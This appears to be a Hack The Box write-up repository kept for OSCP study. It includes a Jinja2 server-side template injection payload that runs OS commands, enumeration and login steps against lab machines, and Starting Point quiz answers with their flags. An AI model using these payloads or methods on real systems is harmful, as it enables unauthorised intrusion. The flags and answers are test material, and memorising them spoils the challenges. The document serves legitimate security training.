├── Active Boxes ├── BroScience │ └── Readme.md ├── Investigation │ └── Readme.md ├── MetaTwo │ └── Readme.md ├── PhotoBomb │ └── Readme.md ├── Precious │ └── Readme.md ├── Shoppy │ └── Readme.md ├── Soccer │ └── Readme.md └── Stocker │ └── Readme.md ├── Active Directory ├── 1. Forest │ └── Readme.md ├── 2. Sauna │ └── Readme.md ├── 3. Active │ └── Readme.md ├── 4. Resolute │ └── Readme.md ├── 5. Cascade │ └── Readme.md └── 6. Intelligence │ └── Readme.md ├── Challenges └── Web │ ├── 1. Templated │ └── Readme.md │ └── 2. Phonebook │ └── Readme.md ├── Linux Boxes ├── 1. Lame │ └── Readme.md ├── 10. SolidState │ └── Readme.md ├── 11. Node │ └── Readme.md ├── 12. Valentine │ └── Readme.md ├── 13. Poison │ └── Readme.md ├── 14. Sunday │ └── Readme.md ├── 16. Irked │ └── Readme.md ├── 17. FriendZone │ └── Readme.md ├── 18. SwagShop │ ├── Readme.md │ └── userful resource.txt ├── 19. Networked │ └── Readme.md ├── 20. Jarvis │ └── Readme.md ├── 3. Shocker │ └── Readme.md ├── 4. Bashed │ └── Readme.md ├── 5. Nibbles │ └── Readme.md ├── 6. Beep │ └── Readme.md ├── 7. Cronos │ └── Readme.md ├── 8. Nineveh │ └── Readme.md ├── 9. Sense │ └── Readme.md ├── Other Boxes │ ├── Ambassador │ │ └── Readme.md │ ├── Knife │ │ └── Readme.md │ ├── Paper │ │ └── Readme.md │ ├── Red Panda │ │ └── Readme.md │ └── Squashed │ │ └── Readme.md └── Readme.md ├── README.md ├── Starting Point ├── Tier 0 │ ├── 1. Meow │ │ └── Readme.md │ ├── 2. Fawn │ │ └── Readme.md │ ├── 3. Dancing │ │ └── Readme.md │ ├── 4. Redeemer │ │ └── Readme.md │ ├── 5. Explosion │ │ └── Readme.md │ ├── 6. Preignition │ │ └── Readme.md │ ├── 7. Mongod │ │ └── Readme.md │ ├── 8. Synced │ │ └── Readme.md │ └── Readme.md ├── Tier 2 │ └── 1. Archetype │ │ └── Readme.md └── Tier-1 │ ├── 1. Appointment │ └── Readme.md │ ├── 10. Tactics │ └── Readme.md │ ├── 2. Sequel │ └── Readme.md │ ├── 3. Crocodile │ └── Readme.md │ ├── 4. Responder │ └── Readme.md │ ├── 5. Three │ └── Readme.md │ ├── 6. Ignition │ └── Readme.md │ ├── 7. Bike │ └── Readme.md │ └── 9. Pennyworth │ └── Readme.md ├── Tracks ├── Beginner Track │ ├── 1. Lame │ │ └── Readme.md │ ├── 2. FInd the Easy Pass │ │ └── Readme.md │ ├── 3. Weak RSA │ │ └── Readme.md │ ├── 4. Jerry │ │ └── Readme.md │ ├── 5. You know 0xDiablos │ │ └── Readme.md │ ├── 6. Under Construction │ │ └── Readme.md │ ├── 7. Blue │ │ └── Readme.md │ └── Readme.md ├── HackTheBoo CTF 2022 Track │ ├── 1. Spookifier │ │ └── Readme.md │ ├── 2. Horror Feeds │ │ └── Readme.md │ ├── 3. Juggling Facts │ │ └── Readme.md │ ├── 4. Cursed Secret Party │ │ ├── Readme.md │ │ └── web_cursed_party │ │ │ ├── Dockerfile │ │ │ ├── build-docker.sh │ │ │ ├── challenge │ │ │ ├── bot.js │ │ │ ├── database.js │ │ │ ├── helpers │ │ │ │ └── JWTHelper.js │ │ │ ├── index.js │ │ │ ├── middleware │ │ │ │ └── AuthMiddleware.js │ │ │ ├── package.json │ │ │ ├── routes │ │ │ │ └── index.js │ │ │ ├── static │ │ │ │ ├── css │ │ │ │ │ ├── bootstrap.min.css │ │ │ │ │ └── index.css │ │ │ │ └── js │ │ │ │ │ └── login.js │ │ │ └── views │ │ │ │ ├── admin.html │ │ │ │ └── index.html │ │ │ ├── config │ │ │ └── supervisord.conf │ │ │ └── flag.txt │ └── Readme.md ├── OWASP Top 10 │ ├── 1. Looking Glass │ │ └── Readme.md │ ├── 2. Sanitize │ │ └── Readme.md │ ├── 3. baby auth │ │ └── Readme.md │ ├── 4. baby nginxatsu │ │ └── Readme.md │ ├── 5. baby WAFfles order │ │ ├── Readme.md │ │ └── baby WAFfles order │ │ │ ├── Dockerfile │ │ │ ├── Router.php │ │ │ ├── assets │ │ │ ├── css │ │ │ │ └── main.css │ │ │ ├── favicon.ico │ │ │ └── js │ │ │ │ └── main.js │ │ │ ├── build_docker.sh │ │ │ ├── config │ │ │ ├── fpm.conf │ │ │ ├── nginx.conf │ │ │ └── supervisord.conf │ │ │ ├── controllers │ │ │ └── OrderController.php │ │ │ ├── flag │ │ │ ├── index.php │ │ │ └── views │ │ │ └── menu.php │ ├── 6. baby todo or not todo │ │ ├── Readme.md │ │ └── baby todo or not todo │ │ │ ├── Dockerfile │ │ │ ├── build-docker.sh │ │ │ ├── challenge │ │ │ ├── application │ │ │ │ ├── app.py │ │ │ │ ├── blueprints │ │ │ │ │ └── routes.py │ │ │ │ ├── config.py │ │ │ │ ├── database.py │ │ │ │ ├── models.py │ │ │ │ ├── schema.sql │ │ │ │ ├── static │ │ │ │ │ ├── checklist.png │ │ │ │ │ ├── css │ │ │ │ │ │ └── main.css │ │ │ │ │ └── js │ │ │ │ │ │ └── main.js │ │ │ │ ├── templates │ │ │ │ │ └── index.html │ │ │ │ └── util.py │ │ │ └── run.py │ │ │ └── config │ │ │ └── supervisord.conf │ ├── 7. baby BoneChewerCon │ │ └── Readme.md │ ├── 8. Full Stack Conf │ │ └── Readme.md │ ├── 9. baby website rick │ │ └── Readme.md │ └── Readme.md └── Readme.md └── Windows Boxes ├── 2. Blue └── Readme.md ├── 3. Devel └── Readme.md ├── 4. Optimum └── Readme.md ├── 5. Bastard └── Readme.md ├── 6. Granny └── Readme.md ├── 7. Grandpa └── Readme.md ├── 8. Artic └── Readme.md ├── 9. Silo ├── Alternative-solution.md └── Readme.md └── BlackField └── BlackField.md /Challenges/Web/1. Templated/Readme.md: -------------------------------------------------------------------------------- 1 | # Hack The Box Challenges - Web - Templated 2 | 3 | ### Files provided 4 | There are no files provided which is pretty rare for an challenges in HackTheBox 5 | 6 | ## Enumeration 7 | Since it's a web challenge, I directly visited the web-site to look at its working and found something useful 8 | 9 | ![tem-1](https://user-images.githubusercontent.com/87711310/214386057-413a0b50-678e-4981-a3f8-60624fba20fe.png) 10 | 11 | I tried to look at the source code by inspecting elements but there is nothing interesting in the HTML source code that provided any hint. Neither were any cookies given by the website. 12 | ![temp-2](https://user-images.githubusercontent.com/87711310/214386060-7b610545-68a9-4ad7-8e09-ef7eca096b6d.png) 13 | 14 | Therefore, I decided to take a look at the HTTP response header in the Network Tab of Firefox and noticed something interesting. The website uses `Werkzeug`. 15 | 16 | ![tem-3](https://user-images.githubusercontent.com/87711310/214386936-45f3fa66-ec0e-40cc-8799-8987b933ac99.png) 17 | 18 | If we Google for `Werkzeug’s exploit`, we find about `Werkzeug’s common Remote Code Execution (RCE)` method, it depends on the debugger by Werkzeug. Usually, the console is stored at `http://www.web-site.com/console`. You can even find scripts to search for the debugger online. However, when I manually input, it did not store the console and the default location. But since it is a `metasploit` exploit, I'll not be using this approach. 19 | 20 | If we Google for `flask jinja 2 exploit`, we get an interesting way to exploit the web-site. 21 | 22 | ![tem-4](https://user-images.githubusercontent.com/87711310/214492456-dd6f960f-9ef1-4dfe-b335-c548be715327.png) 23 | 24 | Now that I know that Flask's Jinja2 is vulnerable to `SSTI`, I checked out whether `SSTI` actually works on this web-site. So i entered a basic `SSTI` payload to check it out. 25 | 26 | ``` 27 | {{7*7}} 28 | ``` 29 | 30 | And it did work!!! 31 | 32 | ![tem-5](https://user-images.githubusercontent.com/87711310/214493672-8b0e6dd7-003a-475d-a429-6603506955c2.png) 33 | 34 | 35 | So now all we need is a payload that could give us a `Remote Code Execution (RCE)` and luckily I found this [blog](https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/) by OnSecurity. 36 | 37 | The payload I used was as following 38 | 39 | ```python 40 | {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} 41 | ``` 42 | 43 | So I got an error shown by the website but the results were still displayed by the web-site, so, I guess we can pretty much leverage this vulnerabilty to obtain the flag 44 | 45 | ![tem-6](https://user-images.githubusercontent.com/87711310/214496914-ba9005d5-334f-4851-871e-e1683623a9d2.png) 46 | 47 | Now, I simply used the `ls` command to list out the contents of the directory and found out that the flag is in the same directory. 48 | 49 | ![tem-7](https://user-images.githubusercontent.com/87711310/214496916-5c90e052-dd6b-43d7-ab6e-db0c09e2b90e.png) 50 | 51 | So, I simply used the `cat flag.txt` to get the flag and submitted it!! 52 | 53 | ![tem-8](https://user-images.githubusercontent.com/87711310/214496921-96e0df39-08ac-4bd2-ba6b-926ec551e140.png) 54 | 55 | -------------------------------------------------------------------------------- /Challenges/Web/2. Phonebook/Readme.md: -------------------------------------------------------------------------------- 1 | # Hack The Box Challenges - Web - Phonebook 2 | 3 | ### Files provided 4 | There are no files provided which is pretty rare for an challenges in HackTheBox 5 | 6 | ## Enumeration 7 | Visiting the web-site, I was presented a login page, and the URL of the website consisted of `/login` 8 | 9 | ![pb-1](https://user-images.githubusercontent.com/87711310/214499214-49cdfaee-895d-41b7-a9a8-c320f5509e32.png) 10 | 11 | I looked at the source-code of the web-site but couldn't find anything, so I went back to the website. 12 | 13 | ![pb-2](https://user-images.githubusercontent.com/87711310/214499218-688935e1-5db9-47e9-9df8-6e3c47b36c15.png) 14 | 15 | Now, I tried using common credentials (admin:admin, admin:password, admin:password123) but none of them worked and I got an `authentication failed` error. But I found something interesting in the URL. The URL was also displaying the same message with a `message` parameter. 16 | 17 | ![pb-3](https://user-images.githubusercontent.com/87711310/214499222-a9d9abad-e04b-4172-8100-f672c2022ce7.png) 18 | 19 | Then, i tried gobuster but got the same results 20 | 21 | ``` 22 | ┌──(darshan㉿kali)-[~] 23 | └─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://165.227.230.220:30246 24 | =============================================================== 25 | Gobuster v3.1.0 26 | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 27 | =============================================================== 28 | [+] Url: http://165.227.230.220:30246 29 | [+] Method: GET 30 | [+] Threads: 10 31 | [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 32 | [+] Negative Status codes: 404 33 | [+] User Agent: gobuster/3.1.0 34 | [+] Timeout: 10s 35 | =============================================================== 36 | 2023/01/25 02:17:31 Starting gobuster in directory enumeration mode 37 | =============================================================== 38 | /login (Status: 200) [Size: 2214] 39 | =============================================================== 40 | ``` 41 | 42 | 43 | I also tried `sqlmap` but it didn't give any results. 44 | 45 | ``` 46 | sqlmap -u http://165.227.230.220:30246/login 47 | ``` 48 | 49 | Therefore, looking at the login page for hints, I see that note from Reese stated that we can login using the workstation’s username and password. After searching for a while and looking at few blogs, I found out that the website was using `LDAP authentication` and I probably had to perform `LDAP Injection` to bypass the login form 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /Linux Boxes/18. SwagShop/userful resource.txt: -------------------------------------------------------------------------------- 1 | https://dustri.org/b/writing-a-simple-extensionbackdoor-for-magento.html 2 | 3 | https://0xdf.gitlab.io/2019/09/28/htb-swagshop.html 4 | 5 | https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/linux-boxes/swagshop-writeup-w-o-metasploit 6 | 7 | https://forum.hackthebox.com/t/was-swagshop-patched-again/3832/7 8 | -------------------------------------------------------------------------------- /Linux Boxes/Readme.md: -------------------------------------------------------------------------------- 1 | # Linux Boxes 2 | 3 | This Writeups consists of boxes/machines i've solved while preparing for OSCP. I'm solving these boxes according to the list specified by [T J NULL](https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#). 4 | 5 | Along with them, I'll also solve few other boxes that'll help me in getting better while preparing for OSCP 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### This Repo consists writeups of `HackTheBox` machines that i've solved while preping for OSCP. 2 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/1. Meow/Readme.md: -------------------------------------------------------------------------------- 1 | # Meow 2 | 3 | ## Questionnaire 4 | 5 | ##### What does the acronym VM stand for? 6 | 7 | ``` 8 | Virtual Machine 9 | ``` 10 | 11 | ##### What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It's also known as a console or shell. 12 | 13 | ``` 14 | terminal 15 | ``` 16 | 17 | ##### What service do we use to form our VPN connection into HTB labs? 18 | 19 | ``` 20 | openvpn 21 | ``` 22 | 23 | ##### What is the abbreviated name for a 'tunnel interface' in the output of your VPN boot-up sequence output? 24 | 25 | ``` 26 | tun 27 | ``` 28 | 29 | ##### What tool do we use to test our connection to the target with an ICMP echo request? 30 | 31 | ``` 32 | ping 33 | ``` 34 | 35 | ##### What is the name of the most common tool for finding open ports on a target? 36 | 37 | ``` 38 | nmap 39 | ``` 40 | 41 | ##### What service do we identify on port 23/tcp during our scans? 42 | 43 | ``` 44 | telnet 45 | ``` 46 | 47 | ##### What username is able to log into the target over telnet with a blank password? 48 | 49 | ``` 50 | root 51 | ``` 52 | 53 | ##### Submit root flag 54 | 55 | ``` 56 | b40abdfe23665f766f9c61ecba8a4c19 57 | ``` 58 | 59 | ## Commands 60 | 61 | ### Scan 62 | 63 | ``` 64 | $ rustscan -a 10.129.43.238 65 | 66 | PORT STATE SERVICE REASON 67 | 23/tcp open telnet syn-ack 68 | ``` 69 | 70 | ### Telnet 71 | 72 | ``` 73 | $ telnet -l root 10.129.43.238 74 | 75 | Trying 10.129.43.238... 76 | Connected to 10.129.43.238. 77 | Escape character is '^]'. 78 | Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64) 79 | ``` 80 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/2. Fawn/Readme.md: -------------------------------------------------------------------------------- 1 | # Fawn 2 | 3 | ## Questionnaire 4 | 5 | ##### What does the 3-letter acronym FTP stand for? 6 | 7 | ``` 8 | File Transfer Protocol 9 | ``` 10 | 11 | ##### Which port does the FTP service listen on usually? 12 | 13 | ``` 14 | 21 15 | ``` 16 | 17 | ##### What acronym is used for the secure version of FTP? 18 | 19 | ``` 20 | SFTP 21 | ``` 22 | 23 | ##### What is the command we can use to send an ICMP echo request to test our connection to the target? 24 | 25 | ``` 26 | ping 27 | ``` 28 | 29 | ##### From your scans, what version is FTP running on the target? 30 | 31 | ``` 32 | vsftpd 3.0.3 33 | ``` 34 | 35 | ##### From your scans, what OS type is running on the target? 36 | 37 | ``` 38 | Unix 39 | ``` 40 | 41 | ##### What is the command we need to run in order to display the 'ftp' client help menu? 42 | 43 | ``` 44 | ftp -h 45 | ``` 46 | 47 | ##### What is username that is used over FTP when you want to log in without having an account? 48 | 49 | ``` 50 | anonymous 51 | ``` 52 | 53 | ##### What is the response code we get for the FTP message 'Login successful'? 54 | 55 | ``` 56 | 230 57 | ``` 58 | 59 | ##### There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system. 60 | 61 | ``` 62 | ls 63 | ``` 64 | 65 | ##### What is the command used to download the file we found on the FTP server? 66 | 67 | ``` 68 | get 69 | ``` 70 | 71 | ##### Submit root flag 72 | 73 | ``` 74 | 035db21c881520061c53e0536e44f815 75 | ``` 76 | 77 | ## Commands 78 | 79 | ### Scan 80 | 81 | ``` 82 | $ rustscan -a 10.129.86.28 -- -sC 83 | 84 | PORT STATE SERVICE REASON 85 | 21/tcp open ftp syn-ack 86 | | ftp-anon: Anonymous FTP login allowed (FTP code 230) 87 | |_-rw-r--r-- 1 0 0 32 flag.txt 88 | | ftp-syst: 89 | | STAT: 90 | | FTP server status: 91 | | Connected to ::ffff:10.10.15.27 92 | | Logged in as ftp 93 | | TYPE: ASCII 94 | | No session bandwidth limit 95 | | Session timeout in seconds is 300 96 | | Control connection is plain text 97 | | Data connections will be plain text 98 | | At session startup, client count was 1 99 | | vsFTPd 3.0.3 - secure, fast, stable 100 | |_End of status 101 | ``` 102 | 103 | ### File 104 | 105 | ``` 106 | $ ftp -p anonymous@10.129.86.28 107 | Connected to 10.129.86.28. 108 | 220 (vsFTPd 3.0.3) 109 | 331 Please specify the password. 110 | Password: 111 | 230 Login successful. 112 | Remote system type is UNIX. 113 | Using binary mode to transfer files. 114 | ftp> ls 115 | 227 Entering Passive Mode (10,129,86,28,155,118). 116 | 150 Here comes the directory listing. 117 | -rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt 118 | 226 Directory send OK. 119 | ftp> get flag.txt 120 | 227 Entering Passive Mode (10,129,86,28,215,181). 121 | 150 Opening BINARY mode data connection for flag.txt (32 bytes). 122 | 226 Transfer complete. 123 | 32 bytes received in 0.000266 seconds (117 kbytes/s) 124 | ftp> quit 125 | 221 Goodbye. 126 | ``` 127 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/3. Dancing/Readme.md: -------------------------------------------------------------------------------- 1 | # Dancing 2 | 3 | ## Questionnaire 4 | 5 | ##### What does the 3-letter acronym SMB stand for? 6 | 7 | ``` 8 | Server Message Block 9 | ``` 10 | 11 | ##### What port does SMB use to operate at? 12 | 13 | ``` 14 | 445 15 | ``` 16 | 17 | ##### What is the service name for port 445 that came up in our Nmap scan? 18 | 19 | ``` 20 | microsoft-ds 21 | ``` 22 | 23 | ##### What is the 'flag' or 'switch' we can use with the SMB tool to 'list' the contents of the share? 24 | 25 | ``` 26 | -L 27 | ``` 28 | 29 | ##### How many shares are there on Dancing? 30 | 31 | ``` 32 | 4 33 | ``` 34 | 35 | ##### What is the name of the share we are able to access in the end with a blank password? 36 | 37 | ``` 38 | WorkShares 39 | ``` 40 | 41 | ##### What is the command we can use within the SMB shell to download the files we find? 42 | 43 | ``` 44 | get 45 | ``` 46 | 47 | ##### Submit root flag 48 | 49 | ``` 50 | 5f61c10dffbc77a704d76016a22f1664 51 | ``` 52 | 53 | ## Commands 54 | 55 | ### Scan 56 | 57 | ``` 58 | $ rustscan -a 10.129.1.203 59 | 60 | PORT STATE SERVICE REASON 61 | 135/tcp open msrpc syn-ack 62 | 139/tcp open netbios-ssn syn-ack 63 | 445/tcp open microsoft-ds syn-ack 64 | 5985/tcp open wsman syn-ack 65 | 47001/tcp open winrm syn-ack 66 | ``` 67 | 68 | ### Shares 69 | 70 | ``` 71 | $ smbclient --no-pass -L 10.129.1.203 72 | 73 | Sharename Type Comment 74 | --------- ---- ------- 75 | ADMIN$ Disk Remote Admin 76 | C$ Disk Default share 77 | IPC$ IPC Remote IPC 78 | WorkShares Disk 79 | ``` 80 | 81 | ### File 82 | 83 | ``` 84 | $ smbclient --no-pass //10.129.1.203/Workshares 85 | 86 | smb: \> ls 87 | . D 0 Mon Mar 29 10:22:01 2021 88 | .. D 0 Mon Mar 29 10:22:01 2021 89 | Amy.J D 0 Mon Mar 29 11:08:24 2021 90 | James.P D 0 Thu Jun 3 10:38:03 2021 91 | 92 | 5114111 blocks of size 4096. 1732425 blocks available 93 | smb: \> cd James.P 94 | smb: \James.P\> ls 95 | . D 0 Thu Jun 3 10:38:03 2021 96 | .. D 0 Thu Jun 3 10:38:03 2021 97 | flag.txt A 32 Mon Mar 29 11:26:57 2021 98 | 99 | 5114111 blocks of size 4096. 1732424 blocks available 100 | smb: \James.P\> get flag.txt 101 | getting file \James.P\flag.txt of size 32 as flag.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) 102 | smb: \James.P\> quit 103 | ``` 104 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/4. Redeemer/Readme.md: -------------------------------------------------------------------------------- 1 | # Redeemer 2 | 3 | ## Questionnaire 4 | 5 | ##### Which TCP port is open on the machine? 6 | 7 | ``` 8 | 6379 9 | ``` 10 | 11 | ##### Which service is running on the port that is open on the machine? 12 | 13 | ``` 14 | redis 15 | ``` 16 | 17 | ##### What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database 18 | 19 | ``` 20 | In-memory Database 21 | ``` 22 | 23 | ##### Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments. 24 | 25 | ``` 26 | redis-cli 27 | ``` 28 | 29 | ##### Which flag is used with the Redis command-line utility to specify the hostname? 30 | 31 | ``` 32 | -h 33 | ``` 34 | 35 | ##### Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server? 36 | 37 | ``` 38 | info 39 | ``` 40 | 41 | ##### What is the version of the Redis server being used on the target machine? 42 | 43 | ``` 44 | 5.0.7 45 | ``` 46 | 47 | ##### Which command is used to select the desired database in Redis? 48 | 49 | ``` 50 | select 51 | ``` 52 | 53 | ##### How many keys are present inside the database with index 0? 54 | 55 | ``` 56 | 4 57 | ``` 58 | 59 | ##### Which command is used to obtain all the keys in a database? 60 | 61 | ``` 62 | keys * 63 | ``` 64 | 65 | ##### Submit root flag 66 | 67 | ``` 68 | 03e1d2b376c37ab3f5319922053953eb 69 | ``` 70 | 71 | ## Commands 72 | 73 | ### Scan 74 | 75 | ``` 76 | $ rustscan -a 10.129.70.165 77 | 78 | PORT STATE SERVICE REASON 79 | 6379/tcp open redis syn-ack 80 | ``` 81 | 82 | ### Version 83 | 84 | ``` 85 | $ redis-cli -h 10.129.70.165 info | grep redis_version 86 | 87 | redis_version:5.0.7 88 | ``` 89 | 90 | ### Keys 91 | 92 | ``` 93 | $ redis-cli -h 10.129.70.165 -n 0 keys '*' 94 | 95 | 1) "numb" 96 | 2) "flag" 97 | 3) "temp" 98 | 4) "stor" 99 | ``` 100 | 101 | ### Flag 102 | 103 | ``` 104 | $ redis-cli -h 10.129.70.165 -n 0 get flag 105 | 106 | "03e1d2b376c37ab3f5319922053953eb" 107 | ``` 108 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/5. Explosion/Readme.md: -------------------------------------------------------------------------------- 1 | # Explosion 2 | 3 | ## Questionnaire 4 | 5 | ##### What does the 3-Letter acronym RDP stand for? 6 | 7 | ``` 8 | Remote Desktop Protocol 9 | ``` 10 | 11 | ##### What is a 3-letter acronym that refers to the interaction with the host through a command line interface? 12 | 13 | ``` 14 | CLI 15 | ``` 16 | 17 | ##### What about a graphical user interface interactions? 18 | 19 | ``` 20 | GUI 21 | ``` 22 | 23 | ##### What is the name of an old remote access tool that came without encryption by default? 24 | 25 | ``` 26 | telnet 27 | ``` 28 | 29 | ##### What is the concept used to verify the identity of the remote host with SSH connections? 30 | 31 | ``` 32 | public 33 | ``` 34 | 35 | ##### What is the name of the tool that we can use to initiate a desktop projection to our host using the terminal? 36 | 37 | ``` 38 | xfreerdp 39 | ``` 40 | 41 | ##### What is the name of the service running on port 3389 TCP? 42 | 43 | ``` 44 | ms-wbt-server 45 | ``` 46 | 47 | ##### What us the switch used to specify the target host’s IP address when using xfreerdp? 48 | 49 | ``` 50 | /v: 51 | ``` 52 | 53 | ##### Submit root flag: 54 | 55 | ``` 56 | HTB{951fa96d7830c451b536be5a6be008a0} 57 | ``` 58 | 59 | ## Commands 60 | 61 | ### Scan 62 | 63 | ``` 64 | ┌──(darshan㉿kali)-[~] 65 | └─$ sudo nmap -sC -sV -O -T4 10.129.37.122 66 | [sudo] password for darshan: 67 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 09:13 EST 68 | Nmap scan report for 10.129.37.122 69 | Host is up (0.27s latency). 70 | Not shown: 996 closed tcp ports (reset) 71 | PORT STATE SERVICE VERSION 72 | 135/tcp open msrpc Microsoft Windows RPC 73 | 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 74 | 445/tcp open microsoft-ds? 75 | 3389/tcp open ms-wbt-server Microsoft Terminal Services 76 | | rdp-ntlm-info: 77 | | Target_Name: EXPLOSION 78 | | NetBIOS_Domain_Name: EXPLOSION 79 | | NetBIOS_Computer_Name: EXPLOSION 80 | | DNS_Domain_Name: Explosion 81 | | DNS_Computer_Name: Explosion 82 | | Product_Version: 10.0.17763 83 | |_ System_Time: 2023-01-21T14:14:10+00:00 84 | | ssl-cert: Subject: commonName=Explosion 85 | | Not valid before: 2023-01-20T14:12:09 86 | |_Not valid after: 2023-07-22T14:12:09 87 | |_ssl-date: 2023-01-21T14:14:18+00:00; +1s from scanner time. 88 | No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). 89 | TCP/IP fingerprint: 90 | OS:SCAN(V=7.92%E=4%D=1/21%OT=135%CT=1%CU=43280%PV=Y%DS=2%DC=I%G=Y%TM=63CBF3 91 | OS:39%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=10F%TI=I%CI=I%II=I%TS=U)SEQ 92 | OS:(SP=F5%GCD=1%ISR=111%CI=I%TS=U)SEQ(SP=F1%GCD=1%ISR=111%CI=I%II=I%TS=U)OP 93 | OS:S(O1=M537NW8NNS%O2=M537NW8NNS%O3=M537NW8%O4=M537NW8NNS%O5=M537NW8NNS%O6= 94 | OS:M537NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y 95 | OS:%T=80%W=FFFF%O=M537NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q= 96 | OS:)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T 97 | OS:=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD= 98 | OS:0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU 99 | OS:D=G)IE(R=Y%DFI=N%T=80%CD=Z) 100 | 101 | Network Distance: 2 hops 102 | Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 103 | 104 | Host script results: 105 | | smb2-security-mode: 106 | | 3.1.1: 107 | |_ Message signing enabled but not required 108 | | smb2-time: 109 | | date: 2023-01-21T14:14:13 110 | |_ start_date: N/A 111 | 112 | OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 113 | Nmap done: 1 IP address (1 host up) scanned in 65.39 seconds 114 | 115 | ``` 116 | 117 | 118 | ## XfreeRDP 119 | 120 | ``` 121 | ┌──(darshan㉿kali)-[~] 122 | └─$ xfreerdp /v:10.129.37.122 /u:Administrator 123 | ... 124 | Do you trust the above certificate? (Y/T/N) Y 125 | Password: 126 | 127 | ``` 128 | 129 | ![explosion](https://user-images.githubusercontent.com/87711310/213870888-d79e8240-353a-44ea-b422-0a9fff5653d6.png) 130 | -------------------------------------------------------------------------------- /Starting Point/Tier 0/6. Preignition/Readme.md: -------------------------------------------------------------------------------- 1 | # Preignition 2 | 3 | ## Questionnaire 4 | 5 | ##### What is considered to be one of the most essential skills to possess as a Penetration Tester? 6 | 7 | ``` 8 | dir busting 9 | ``` 10 | 11 | ##### What switch do we use for nmap’s scan to specify that we want to perform version detection 12 | 13 | ``` 14 | -sV 15 | ``` 16 | 17 | ##### What service type is identified as running on port 80/tcp in our nmap scan? 18 | 19 | ``` 20 | http 21 | ``` 22 | 23 | ##### What service name and version of service is running on port 80/tcp in our nmap scan? 24 | 25 | ``` 26 | nginx 1.14.2 27 | ``` 28 | 29 | ##### What is a popular directory busting tool we can use to explore hidden web directories and resources? 30 | 31 | ``` 32 | gobuster 33 | ``` 34 | 35 | ##### What switch do we use to specify to gobuster we want to perform dir busting specifically? 36 | 37 | ``` 38 | dir 39 | ``` 40 | 41 | ##### What page is found during our dir busting activities? 42 | 43 | ``` 44 | admin.php 45 | ``` 46 | 47 | ##### What is the status code reported by gobuster upon finding a successful page? 48 | 49 | ``` 50 | 200 51 | ``` 52 | 53 | ##### Submit root flag 54 | 55 | ``` 56 | HTB{6483bee07c1c1d57f14e5b0717503c73} 57 | ``` 58 | 59 | ## Commands 60 | 61 | ### Scan 62 | 63 | ``` 64 | ┌──(darshan㉿kali)-[~] 65 | └─$ sudo nmap -sC -sV -O -T4 10.129.37.125 66 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 09:20 EST 67 | Nmap scan report for 10.129.37.125 68 | Host is up (0.19s latency). 69 | Not shown: 999 closed tcp ports (reset) 70 | PORT STATE SERVICE VERSION 71 | 80/tcp open http nginx 1.14.2 72 | |_http-server-header: nginx/1.14.2 73 | |_http-title: Welcome to nginx! 74 | No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). 75 | TCP/IP fingerprint: 76 | OS:SCAN(V=7.92%E=4%D=1/21%OT=80%CT=1%CU=30184%PV=Y%DS=2%DC=I%G=Y%TM=63CBF4D 77 | OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ 78 | OS:(SP=108%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)OPS(O1=M537ST11NW7%O2=M537ST11NW7%O 79 | OS:3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST11NW7%O6=M537ST11)WIN(W1=FE88%W2= 80 | OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSN 81 | OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D 82 | OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O 83 | OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N 84 | 